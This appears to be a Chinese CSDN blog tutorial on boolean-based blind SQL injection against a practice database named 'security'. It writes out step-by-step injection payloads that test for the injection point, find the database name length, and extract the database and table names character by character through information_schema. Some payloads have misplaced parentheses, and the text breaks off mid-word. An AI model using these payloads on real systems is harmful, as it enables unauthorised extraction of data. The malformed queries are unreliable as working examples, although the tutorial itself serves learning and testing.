bool盲注

本文详细介绍了如何通过盲注技术探测数据库信息,包括判断注入点、爆库、爆表名、爆字段及获取数据的过程。通过字符型注入,逐步揭示了数据库名security,表名emails和users,以及字段id、username和password。最后,通过延时盲注展示了进一步查询表名的步骤。
摘要由CSDN通过智能技术生成

一.首先进行注入点判断

输入:
?id=1' and 1=1--+
?id=1' and 1=2--+  //1=1页面显示正常 1=2页面缺少

 

由以上可知是字符型注入

二.爆数据库 

通过length函数确定长度
?id=1' and length(database())=9 --+ //页面错误 说明数据库的长度不等于9
?id=1' and length(database())=8 --+

 

 由上面可知,数据库的长度等于8

三.爆数据库名

通过ASCII值推出数据库名
?id=1' and ascii(substr(database()),1,1))=115 --+
?id=1' and ascii(substr(database()),2,1))>97 --+ //说明ASCII值是大于97
?id=1' and ascii(substr(database()),2,1))=99 --+ //页面错误
?id=1' and ascii(substr(database()),2,1))=100 --+//同上
?id=1' and ascii(substr(database()),2,1))=101 --+//页面正常
?id=1' and ascii(substr(database()),3,1))=98 --+ //页面错误
?id=1' and ascii(substr(database()),3,1))=99 --+ //页面正常
?id=1' and ascii(substr(database()),4,1))>115 --+//页面正常 说明第三个字母是大于115的
?id=1' and ascii(substr(database()),4,1))=116 --+//页面错误
?id=1' and ascii(substr(database()),4,1))=117 --+//页面正常
?id=1' and ascii(substr(database()),5,1))>110 --+//页面正常
?id=1' and ascii(substr(database()),5,1))=115 --+//页面正常
?id=1' and ascii(substr(database()),6,1))=105 --+//页面正常
?id=1' and ascii(substr(database()),7,1))=116 --+//页面正常
?id=1' and ascii(substr(database()),8,1))=121 --+//页面正常

 

第一个是s,页面显示正常

 

101, 第二个是e

 

第三个输入 98 99 

 

 

第四个输入 116 117 第四个是u

 

 继续按照之前爆破方式,可得数据库名为security

 四.爆表名

 1.判断表的长度

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+  //结果数量为4

 

由上面可以得到,表长度为4

2. 判断第一个表的长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+

 

2.判断表的字符

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>79 --+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --+

 

 

说明第一个表的字符大于79

 

 当输入为101时 第一个表的字符为e

第二个字符为m

 

根据以上两个值可以进行一定的猜测,然后将对一个的ASCII值代入其中进行试验

输入 97

 

所以进行推测第一个表为emails<

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值